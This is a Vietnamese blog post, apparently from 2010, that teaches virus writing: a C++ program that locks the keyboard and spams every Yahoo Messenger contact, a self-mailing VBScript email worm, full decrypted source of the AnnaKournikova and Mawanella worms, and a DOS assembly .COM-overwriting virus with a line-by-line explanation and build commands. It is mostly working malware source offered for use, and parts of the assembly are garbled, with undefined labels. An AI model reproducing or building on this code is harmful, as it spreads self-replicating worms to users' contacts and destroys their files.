Giới thệu với các bạn phương thức Spam và phát tán virus trong yahoo messenger bằng lập trình c++, nó rất là đơn giản và dể hiểu, sữ dùng hàm API keybd_event là chủ yếu. Sau đây mô tả sơ lược về hàm keybd_event :
+ Cấu trúc : VOID keybd_event(
BYTE
bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
+ Thông số :
bVk : mã phím ảo của phím cần tạo sự kiện hoặc nhả.
bScan : để dành lập thành 0.
dwFlags : kết hơp các cờ sau để định rõ hình thức nhập bàn phím để tổng hơp, KEYEVENTF_EXTENDEDKEY là thêm tiếp đầu ngữ có giá trị &HE0 vào mả quét, KEYEVENTF_KEYUP là phím xác định bằng tham số bVk đang được nhả ra. Nếu cờ này không được chỉ rõ thì phím đang được ấn xuống
dwExtraInfo : Một giá tr phụ 32 bit tương ứng với sự kiện bàn phím
Xem ví dụ sau đây để hiểu cách dụng hàm keybd_event :
#include "stdafx.h"
#include "Winable.h"
#include "windows.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

// Bước đầu tiên tìm xem có yahoo messenger đang run không HWND YahooM;
YahooM = FindWindow("YahooBuddyMain",NULL);
if (YahooM != NULL) // nếu tồn tại, ta thực hiện các bước sau{
BlockInput(1); khoá bàn phím
ShowWindow(YahooM,SW_RESTORE); //hiện yahoo Messenger trên nền background SetForegroundWindow(YahooM);
// Tiếp theo ta Lấy danh sách các nick trong list yahoo
keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_DOWN,NULL,NULL,NULL);
keybd_event(VK_DOWN,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_SHIFT,NULL,NULL,NULL);
keybd_event(VK_END,NULL,KEYEVENTF_EXTENDEDKEY,NULL);
keybd_event(VK_END,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_SHIFT,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(13,NULL,NULL,NULL);
keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);
HGLOBAL hText;
OpenClipboard(0);
EmptyClipboard();
char pText[100]="welcome to toanthang.spaces.live.com"; // ví dụ nội dung cần Spam hText=GlobalAlloc(GMEM_DDESHARE|GMEM_MOVEABLE,strlen(pText)+1);

char *pstr=(char *)GlobalLock((hText));
strcpy(pstr,pText);
GlobalUnlock(hText);

SetClipboardData(CF_TEXT,hText); //đặt nội dung vào bộ nhớ
//Sau đó Send nội dung cần Spam cho tất cả các nick trong list yahoo messenger keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(86,NULL,NULL,NULL);
keybd_event(86,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(13,NULL,NULL,NULL);
keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);
// Bước tiếp theo tạo nội dung Spam trong Status cua Yahoo Messener keybd_event(VK_MENU,NULL,NULL,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_MENU,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(86,NULL,NULL,NULL);
keybd_event(86,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(13,NULL,NULL,NULL);
keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);
CloseClipboard();
GlobalUnlock(hText);
}
BlockInput(0);
return 0;
}

Lập Trình Virus

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments

Trước tiên tôi nói về cách làm thế nào để viết một Email-Worn bằng Visual BasicScript:Việc sử dụng VBS để viết virus có thể nói là khá phổ biến, điển hình như virus loveletter,Anakournikova,mawanella ..
Ở đây tôi chỉ phân tích chi tiết về mã nguồn có chức năng là làm lây lan virus , còn tác dụng (đối với người code virus) và tác hại đối với vixtim như thế nào là tùy vào mỗi virus)
——————-source code————-
On Error Resume Next
Dim x
Set so=CreateObject(”Scripting.FileSystemObject”)
so.GetFile(WScript.ScriptFullName).Copy(”C:\virusn ame.vbs”)
Set ol=CreateObject(”Outlook.Application”)
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace(”MAPI”).AddressLists(1).Ad dressEntries(x)
Mail.Subject=”Tiêu đề của thư”
Mail.Body=”nội dung thư”
Mail.Attachments.Add(”C:\virusname.vbs”)
Mail.Send
Next
ol.Quit
———————————–
Với những người đã quen với lập trình VB thì không khó để hiểu đoạn mã này.
Đầu tiên nó sẽ tìm trong AddressBook của victim ,ở đây biến x chạy từ 1 đến 50 tương ứng với việc
Nó sẽ tìm 50 địa chỉ trong Address list, và gửi mail đến các địa chỉ đó với tiêu đề và nội dung cho trước
Và nó sẽ đính kèm chính nó vào bức thư đó, như vậy khi victim click vào nó sẽ hoạt động, cứ như vạy mà lây lan.
Để tìm hiểu thêm các bạn có thể xem mã nguồn của virus AnnaKournikova dưới đây, bạn có thể thấy ở hàm OutLook của virus AnnaKournikova cũng sử dụng cách thức gần giống với đoạn mã phía trên.Đối với virus *.vbs thì chỉ cần code mã nguồn bằng notepad rồi save as *.vbs là xong. Và cách thức vô hiệu hóa virus dạng này (chỉ là tạm thời trước khi có trình diệt virus cần thiết) là bỏ window ScriptingHost (theo bài viết bên PcleHoan).Trong phần tùy chọn các mục cài đặt của windows. Tôi nói đây chỉ là tạm thời bời vì mặc dù có thể nói bằng cách này virus không còn môi trường để hoạt động nhưng một số ứng dụng khác cũng không hoạt động ví dụ như bạn sẽ gặp trục trặc trong việc hiển thị Desktop,explorer theo kiểu As Web Page.. Vậ nên cách tốt nhất vẫn là cập nhật chương trình diệt virus thường xuyên.
//*****Decrypted Code******
‘Vbs.OnTheFly Created By OnTheFly //L@/\/\3R who released the worm
On Error Resume Next
Set ws = CreateObject(”WScript.Shell”)
//says “Worm made with VBSwg 1.50b”: another pitfall
ws.regwrite “HKCU\software\OnTheFly\”, Chr(87) & Chr(111) & Chr(114) &
Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) &
Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) &
Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) &
Chr(48) & Chr(98)
Set fso= Createobject(”scripting.filesystemobject”)
fso.copyfile wscript.scriptfullname,fso.GetSpecialFolder(0)&
“\AnnaKournikova.jpg.vbs”
if ws.regread (”HKCU\software\OnTheFly\mailed”) <> “1″ then
Outlook()
end if
//Red Herring? Maybe, but NL *might* be the origin of the worm
if month(now) =1 and day(now) = 26 then
ws.run “Http://www.dynabyte.nl”,3,false
end if
//The following section could be an anti-deletion technique
Set AnnaKournikova = fso.opentextfile(wscript.scriptfullname, 1)
SourceCode = AnnaKournikova.readall
AnnaKournikova.Close
Do
If Not (fso.fileexists(wscript.scriptfullname)) Then
Set AnnaKournikova = fso.createtextfile(wscript.scriptfullname, True)
AnnaKournikova.write SourceCode
AnnaKournikova.Close
End If
Loop
Function Outlook()
On Error Resume Next
Set OutlookApp = CreateObject(”Outlook.Application”)
If OutlookApp= “Outlook”Then
Set Mapi=OutlookApp.GetNameSpace(”MAPI”)
Set MapiAdList= Mapi.AddressLists
For Each Address In MapiAdList
If Address.AddressEntries.Count <> 0 Then
NumOfContacts = Address.AddressEntries.Count
//Get a list of contacts
For ContactNumber = 1 To NumOfContacts
Set EmailItem = OutlookApp.CreateItem(0)
Set ContactNumber = Address.AddressEntries(ContactNumber)
EmailItem.To = ContactNumber.Address
EmailItem.Subject = “Here you have, ;o)”
EmailItem.Body = “Hi:” & vbcrlf & “Check This!” & vbcrlf & “”
set EmailAttachment=EmailItem.Attachments
EmailAttachment.Add fso.GetSpecialFolder(0)& “\AnnaKournikova.jpg.vbs”
EmailItem.DeleteAfterSubmit = True
//Send the thing
If EmailItem.To <> “” Then
EmailItem.Send
ws.regwrite “HKCU\software\OnTheFly\mailed”, “1″
End If
Next
End If
Next
end if
End Function
‘Vbswg 1.50b
Ở mã nguồn của virus AnnaKournikova bạn có thể thấy một số chỗ sử dụng Chr(x) đó là cách thay vì viết bằng các ký tự ASCII nó sử dụng hàm Chr để tránh việc bị các trình diệt virus phát hiện.Trong hacking thì chắc các bạn thấy một số trường hợp có sử dụng Chr(x) để thay cho các dấu /,%,\. (tất nhiên là không phải để tránh các trình diệt virus) Còn đây là mã nguồn của mawanella:
————————————–source code—————-
‘ Mawanella Worm
‘ Decrypted by MrBrownstone
On Error ResumeNext
Rem // I hate Mawanella incident
Set W_S = CreateObject(”WScript.Shell”)
Set fso = CreateObject(”Scripting.FileSystemObject”)
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr, strMsg
set wscr=CreateObject(”WScript.Shell”)
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set cFile = fso.GetFile(WScript.ScriptFullName)
cFile.Copy(dirsystem&”\Mawanella.vbs”)
Set OutlookA = CreateObject(”Outlook.Application”)
If OutlookA = “Outlook” Then
Set Mapi=OutlookA.GetNameSpace(”MAPI”)
Set AddLists=Mapi.AddressLists
For Each ListIndex In AddLists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCountX = ListIndex.AddressEntries.Count
For Count= 1 To ContactCountX
Set MailX = OutlookA.CreateItem(0)
Set ContactX = ListIndex.AddressEntries(Count)
‘msgbox contactx.address
‘Mailx.Recipients.Add(ContactX.Address)
MailX.To = ContactX.Address
MailX.Subject = “Mawanella”
MailX.Body = vbcrlf&”Mawanella is one of the Sri Lanka’s Muslim Village”&vbcrlf
‘Set Attachment=MailX.Attachments
‘Attachment.Add dirsystem & “\Mawanella.vbs”
‘Mailx.Attachments.Add(dirsystem & “\Mawanella.vbs”)
Mailx.Attachments.Add(dirsystem & “\Mawanella.vbs”)
MailX.DeleteAfterSubmit = True
If MailX.To <> “” Then
MailX.Send
End If
Next
End If
Next
Else
msgBox “Please Forward this to everyone”
End if
strMsg= ” ) (” & vbcrlf
strMsg= strMsg & “( ) ( ) ” & vbcrlf
strMsg= strMsg & ” ( ) ( )” & vbcrlf
strMsg= strMsg & ” ( ) ( )” & vbcrlf
strMsg= strMsg & ” ————————-” & vbcrlf
strMsg= strMsg & ” / ( ( ( /\” & vbcrlf
strMsg= strMsg & ” / ( / \” & vbcrlf
strMsg= strMsg & ” / ( ( / \” & vbcrlf
strMsg= strMsg & ” ——————————–” & vbcrlf
strMsg= strMsg & ” | — | |” & vbcrlf
strMsg= strMsg & ” | —– | | | |” & vbcrlf
strMsg= strMsg & ” | | | — | |” & vbcrlf
strMsg= strMsg & ” | | | | |” & vbcrlf
strMsg= strMsg & ” ——————————–” & vbcrlf
strMsg= strMsg & “Mawanella is one of the Sri Lanka’s Muslim Village.” & vbcrlf
strMsg= strMsg & “This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt.” & vbcrlf
strMsg= strMsg & “I hat this incident, What about you? I can destroy your computer” & vbcrlf
strMsg= strMsg & “I didn’t do that because I am a peace-loving citizen.”
msgbox strMsg,,”Mawanella”
End sub
—————————————————————-
Ở phần sau tôi sẽ hướng dẫn các bạn cách viết một virus đơn giản bằng Asm. Tất nhiên là đỏi hỏi phải biết một ít về Asm.
VIẾT MỘT VIRUS GHI ĐÈ LÊN FILE *.COM BẰNG ASM
(Sử dụng tài liệu của nhóm Code Breaker)
Trước tiên hãy xem đoạn mã của virus:
code segment
assume cs:code,ds:code
org 100h
virus proc near
first_file:
mov ah,4eh
tim_file:
xor cx,cx
lea dx,comsig
int 21h
jc ketthuc
mo_file:
mov ax,3d02h
mov dx,9eh
int 21h
nhiem_file:
xchg bx,ax
mov ah,40h
mov cx,offset horny – offset first_fly
lea dx,first_fly
int 21h
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
ketthuc:
mov ah,09h
mov dx,offset wart
int 21h
cya: int 20h
comsig db “*.com”,0
msgadd db ‘Congratulations! You have infected all the COM files
in this ‘,10,13
db ‘directory . Have a
nice day.’,10,13,’$’
horny label near
virus endp
code ends
end first_fly
Virus của chúng ta sẽ là một file .com ,giới hạn của *.com file là 65,536 bytes.Qua virus này bạn sẽ biết được định dạng chung của một file .com, chúng ta hãy phân tích đoạn mã trên:
================================================== ======
code segment
tất cả những mã có thể thi hành nằm trong code segment , tất nhiên không nhất thiết segment phải có tên là code, cấu trúc khai báo là như sau:
segment_name segment
————
———-
———-
segment_name Ends
end
Nếu bạn đã hoc Asembly thì không cần phải đọc chỗ này.
================================================== ======
assume cs:code,ds:code
Nói chung đây là phần thiết đặt tham số cho file .com của chúng ta, với
CS(code segment) là nơi chứa địa chỉ bắt đầu thực thi của chương trình.
org 100h
org 100h luôn luôn đi theo assume directive. Nó thông báo cho máy tính biết rằng file COM đuợc xác đình tại địa chỉ 100 hex hay 256 bytes.
================================================== ======
proc virus near
Cái này không thực sự cần thiết vì procedure này là chương trình con duy nhất trong chương trình.Những chương trình lớn hơn sẽ có nhiều Procedure trong code segment để thức hiện một nhiệm vụ nhất định nào đó. ================================================== ======
first_file:
mov ah,4eh
Bậy giờ là phần cốt lõi của virus ,nếu bạn đã hoc lập trình thì các bạn cũng biết nhựng cái theo sau là dấu hai chấm được gọi là nhãn, nó hữ¬ ích cho việc xác định vị trí để xài các lệnh nhảy trong ASM hay lệnh goto trong Pascal,delphi…
Để phân tích tiếp chúng ta cần biết thanh ghi là gì?Một thanh ghyi được sử dụng để khởi đầu chỉ lệnh để máy tính thi hành một yêu cầu hoạt động ,được sử dụng để ghi địa chỉ bộ nhớ và chuẩn bị những hàm số học cơ bản , nhập xuất dữ liệu… .Bốn thanh ghi cơ bản sử dụng trong virus này là AX, BX, CX, DX (). Thanh ghi ax sử dụng cho nhập xuất và các thao tác tính toán cơ bản BX (base register) sử dụng để tính toán CX (count register ) sử dụng để tính toán hay đếm trong vòng lặp. DX (data register ) giống như AX , được sử dụng cho nhập xuất , hoạt động nhân chia
Bây giờ trở lại với virus của chúng ta mục đích cua get_fly là tìm thấy file để làm nhiễm. Thực sự là tìm file đầu tiên trong thư mục có thuộc tính chúng ta cần. Vì vậy,chúng tac ần nạp điều kiện vào thanh ghi chung và thực hiện một lệnh ngắt. Ơû đây do là một chương trình DOS nên chỉ đề cập đến thanh ghi 16 bit , môt thanh ghi 16 bit gồm 2 phần, mỗi phần 8 bit ví dụ AX:AH-AL tương tự như vậy ta có : BH – BL, CH – CL, va’ DH – DL. Giá trị cần nạp vào thanh ghi chung là 4e hex vào AH, CX = zero để set thuộc tính của file là normal, và cuối cùng, DX cần một chuỗi chỉ đính file mà chúng ta đang tìm kiếm để làm nhiễm. Và để di chuyển 4e hex vao’ AH chúng ta sử dụng lệnh MOV. MOV AH, 4eh có nghĩa là chuyển giá trị 4e hex vào AH
================================================== =========
tim_file:
xor cx,cx
Việc tiếp theo cần làm là giá trị trong CX =0, chúng ta có thể làm bằng 2 cách , một là MOV CX, 0, hai là XOR CX, CX tuy nhiên nấu sử dụng MOV CX,0 chúng ta sẽ mất 3 bytes trong khi sử dụng XOR CX,CX chúng ta chỉ mất 2 bytes và chúng đều có chức năng set cho CX =0. Vậy thì tốt hơn là nên chọn XOR CX,CX
================================================== =========
lea dx,comsig
Tiếp theo chúng ta cần nạp chuỗi với file chỉ định mà chúng ta tìm kiếm vào DX.
Chúng ta đang tìm file . COM. Vi vay chuỗi cần tìm là *.COM. Đây là cách tìm kiếm những tập tin có đuôi là *.COM. Chuỗi này được xác định tại địa chỉ comsig trong data segment của virus . Và để chuyển chuỗi đó vào DX chúng ta thực hiện lệnh
LEA DX, comsig, oad the ffective ddress of comsig into DX. Chúng ta cũng có thể sử dụng lệnh MOV bằng cách như sau
MOV DX, offset comsig. ================================================== =========
int 21h
Nói chung lệnh ngắt để dừng chương trình lại và thực hiện một công việc nào đó .Co’ 256 lệnh ngắt các bạn có thể tham khảo thêm ở các sách dạy hợp ngữ .Ở đoạn mã này của virus sau khi chuyển 4e hex vào AX xóa CX, chuyển chuỗi chỉ định tên file cần tìm ta thực hiện lệnh ngắt int 21 để chương trình bắt đầu tìm tệp đầu tiên với thuôc tính cho trước trong CX và DX (các bạn tra trong sách hợp ngữ về các chức năng của ngắt int 21 để biết thêm chi tiết)
================================================== =========
jc ketthuc
Đây là một lệnh nhảy có điều kiên’. Nếu một file được tìm thấy cờ carry được set là zero nếu không tìm thấy cờ carry set thành 1 lệnh JC kiểm tra nếu cờ carry bằng 1nó sẽ nhảy tới vị trí có nhãn wart_growth và thi hành lệnh tại offset đó .Và đoạn mã này có chức nằng như sau: nó kiểm tra xem nếu tìm thấy thì tiến hành các bước làm nhiễm file nếu không thì nhãy tời đoạn mã báo hiệu bạn đã làm nhiễm thành cộng tất cả các file .Com trong thư mục chứa nó .
================================================== ===========
mo_file:
mov ax,3d02h
mov dx,9eh
int 21h
Đoạn mã này được thực hiện khi đã tìm thấy một file .COM trong thư mục đầu tiên cần nạp 3D vào AL và 02h có nghĩa là mở file trong chế độ đọc/ghi. 00h trong AL sẽ mở file ở chế độ chỉ đọc , 01h trong AL là chỉ ghi. Nhớ rằng AX là thanh ghi 16-bit gồm, AH và AL.Vi vay chúng ta có thể nạp hai giá trị cùng lúc . bằng cách nạp AX với 3d02h. Nhớ rằng chúng ta luôn luôn sử dụng gia’ trị ở hệ hex. Một lỗi đơn giản nhưng hay gặp phải là thiếu “h” sau int 21 hay sau các số ở hệ HEX bạn cần chú ý . Nếu thiếu Hex máy tính sẽ nghĩ bạn sử dụng hệ thập phân và dĩ nhiên trong hệ thập phân máy tính sẽ coi D,E,F chả ra củ khoai gì …. Tiếp theo chúng ta cần nạp vào DX một chuỗi ASCII là tên của file .Như bạn nhìn ở trên 9e hex không phải là một chuỗi ;nó thực ra là offset của địa chỉ chứa chuỗi chúng ta cần. 9e hex được xác định trong PSP trong một vùng gọi là DTA hay isk ransfer rea. PSP bắt đầu tại 00h. Địa chỉ bắt đầu của DTA la’ 80 hex.Trong DTA là thông tin trên file đã được tìm thấy. Những gì chúng ta cần là file name, được xác định tại offset 1eh từ phần bắt đầu của DTA. Cộng 80 với 1eh ta có 9eh. Nạp 9e hex vào thanh ghi DX chúng ta có file name . bây giờ thức hiện int 21h để thi hành thủ tục trên.
================================================== ============
nhiem_file:
xchg bx,ax
mov ah,40h
mov cx,offset horny – offset first_fly
lea dx,first_fly
int 21h
Đây là phần làm nhiê’m file sau khi đã mở nó .Ở đoạn mã trước File handle của file được mở nằm trong AX chúng ta cần nó nằm trong BX vậy nên thực hiện lệnh
xchg bx,ax bằng cách này toàn bộ giá trị trong ax sẽ chuyển vào bx . CX cần được nạp một số lượng byte mà chúng ta muốn ghi vào. Và thay vì ta sử dụng một con số nào đó để chỉ định số bytes ta để máy tính tính khoảng cách từ 2 offset nhãn horny và firts_fly như vậy khoảng cách từ nhãn first_fly đến horny là số lượng bytes mà chúng ta muốn ghi vào file. Cuối cùng, DX cần được nạp địa chỉ mà chúng ta muốn ghi và địa chỉ cua’ first_fly được nạp vào DX. Đó là phần bắt đầu của mã mà chúng ta muốn ghi vào file tìm thấy .Sau đó thực hiện int 21 sẽ hoàn tất việc làm nhiễm file.
================================================== =========
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
Sau khi file đã bị nhiễm chúng ta cần đóng file đó lại và đây là đoạn mã thực hiện việc này. Sau khi đóng file chúng ta nạp 4f hex vào AH rồi nhảy trở về đoạn mã để tìm file .COM kế tiếp. Và nó sẽ thực hiện việc nhiễm file cho đến khi nào tất cả file .COM trong thu muc chưa nó đã bị nhiễm.Lúc đó cờ carry=1 và lệnh nhảy jc sẽ hoạt động đưa ra thông báo chúc mừng.
================================================== =================
Ketthuc:
mov ah,9
mov dx,offset wart
int 21h
================================================== ================
cya: int 20h
Chức năng của int 20 là kết thúc chương trình , tuy nhiên cách hiện nay hay dùng là MOV AH,4CH
int 21
================================================== ================
comsig db “*.com”,0
msgadd db ‘Congratulations! You have infected all the COM files
in this’,10,13
db ‘Have a nice day.’,10,13,’$’
Đây là data segment nói một cách nọm na là tương tự như bạn khai báo hằng (Const) ở pascal,C++ vậy.Và các hằng này sẽ được sử dụng trong code segment. Chúng ta sử dụng định nghĩa byte DB, để định nghĩa một chuỗi. Việc đặt 10,13 sau các chuỗi giúp cho việc hiển thị nó có thứ tự nếu không cả hai chuỗi sẽ hiển thị cùng lúc lên màn hinh $ tại phần cuối của dòng 2 báo hiệu kết thúc chuôi ================================================== =================
horny label near
nhãn horny chỉ có một mục đích là để xác điịnh offset trong việc xác định số byte ghi vào file cần làm nhiễm ================================================== =================
virus endp
code ends
end first_fly
kết thúc chương trình
================================================== ==============
Biên dịch virus :
Bạn cần có TASM hay MASM. Trongbài này tôi hướng dẫn các bạn biên dịch virus bằng TASM. Các file cần có virus.asm TASM.EXE, TLINK
Đầu tiên lưu nó thành file “.asm” file,có thể sử dụng Notepad để soạn thảo mã rồi save as virus.asm. Sử dụng TASM gõ lệnh:
C:\>tasm virus.asm
Kết quả có thể là như sau:
Turbo Assembler Version 2.01
Assembling file: virus.asm
Error Messages: none
Warning Messages: none
Passes: 1
Remaining Memory: 418k (or something similar)
Nếu không có lỗi nào, nếu có lỗi nó sẽ báo cho bạn biết lỗi gì ở dòng nào .
Sau khi gõ lệnh TASM bạn sẽ được file *.obj
Để tạo COM file bạn gõ lệnh:
C:\>tlink /t virus.obj
Tlink sẽ tạo ra file virus.COM
Bây giờ hãy thử nghiệmvirus của bạn, mở Notepad lên, ghi gì tùy bạn , không ghi cũng được lưu thành file vidu.com. đặt nóvào thư muc của virus bạn vừa biên dịch. Rồi chạy virus bạn sẽ thấy kích thước của file vidu.com bây giờ sẽ bằng kích thước của virus(180 bytes). Tuy nhiên nhược virus này sẽ làm nhiễm tất cả các file .com trong thư mục chứa nó mà không cần biết file đó đã bị nhiễm hay chưa, ở phần sau tôi sẽ hướng dẫn các bạn cách để kiểm tra xem một file đã bị nhiễm hay chưa. Và cònmột điều nữa là virus này không có tác dụng với những file .com có size lớn hơn nó (đây chỉ là để minh họa nên tôi nghĩ như vậy là đủ)
================================================== =============
Appendix 1 – The Registers
AX Accumulator register
BX Base register
CX Counting register
DX Data register
DS Data Segment register
ES Extra Segment register
SS Stack Segment register
CS Code Segment register
BP Base Pointers register
SI Source Index register
DI Destiny Index register
SP Stack Pointer register
IP Next Instruction Pointer register
F Flag register
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Appendix 2 – The PSP
Format of Program Segment Prefix (PSP):
Offset Size Description (Table 1032)
00h 2 BYTEs INT 20 instruction for CP/M CALL 0 program termination
the CDh 20h here is often used as a signature(chu ky) for a valid PSP
02h WORD segment of first byte beyond memory allocated to program
04h BYTE (DOS) unused filler
(OS/2) count of fake DOS version returns
05h BYTE CP/M CALL 5 service request (FAR CALL to absolute 000C0h)
BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh
06h WORD CP/M compatibility–size of first segment for .COM files
08h 2 BYTEs remainder of FAR JMP at 05h
0Ah DWORD stored INT 22 termination address
0Eh DWORD stored INT 23 control-Break handler address
12h DWORD DOS 1.1+ stored INT 24 critical error handler address
16h WORD segment of parent PSP
18h 20 BYTEs DOS 2+ Job File Table, one byte per file handle, FFh = closed
2Ch WORD DOS 2+ segment of environment for process (see #1033)
2Eh DWORD DOS 2+ process’s SS:SP on entry to last INT 21 call
32h WORD DOS 3+ number of entries in JFT (default 20)
34h DWORD DOS 3+ pointer to JFT (default PSP:0018h)
38h DWORD DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x)
used by SHARE in DOS 3.3
3Ch BYTE DOS 4+ (DBCS) interim console flag (see AX=6301h)
Novell DOS 7 DBCS interim flag as set with AX=6301h
(possibly also used by Far East MS-DOS 3.2-3.3)
3Dh BYTE (APPEND) TrueName flag (see INT 2F/AX=B711h)
3Eh BYTE (Novell NetWare) flag: next byte initialized if CEh
(OS/2) capabilities flag
3Fh BYTE (Novell NetWare) Novell task number if previous byte is CEh
40h 2 BYTEs DOS 5+ version to return on INT 21/AH=30h
42h WORD (MSWindows3) selector of next PSP (PDB) in linked list
Windows keeps a linked list of Windows programs only
44h WORD (MSWindows3) “PDB_Partition”
46h WORD (MSWindows3) “PDB_NextPDB”
48h BYTE (MSWindows3) bit 0 set if non-Windows application (WINOLDAP)
49h BYTE unused by DOS versions <= 6.00
4Ch WORD (MSWindows3) “PDB_EntryStack”
4Eh 2 BYTEs unused by DOS versions <= 6.00
50h 3 BYTEs DOS 2+ service request (INT 21/RETF instructions)
53h 2 BYTEs unused in DOS versions <= 6.00
55h 7 BYTEs unused in DOS versions <= 6.00; can be used to make first FCB
into an extended FCB
5Ch 16 BYTEs first default FCB, filled in from first commandline argument
overwrites second FCB if opened
6Ch 16 BYTEs second default FCB, filled in from second commandline argument
overwrites beginning of commandline if opened
7Ch 4 BYTEs unused
80h 128 BYTEs commandline / default DTA
command tail is BYTE for length of tail, N BYTEs for the tail,
followed by a BYTE containing 0Dh
——————————————————————————
Appendix 3 – Examples of various JUMP commands
JA – Jump if Above
JAE – Jump if Above/Equal
JB – Jump if Below
JBE – Jump if Below/Equal
JC – Jump if Carry
JE – Jump if Equal
JG – Jump if Greater
JGE – Jump if Greater/Equal
JL – Jump if Less
JLE – Jump if Less/Equal
JMP – Jump
JNA – Jump if Not Above
JNAE – Jump if Not Above/Equal


Xem Nhiều

Bài đăng phổ biến

Lưu trữ blog

Blog Archive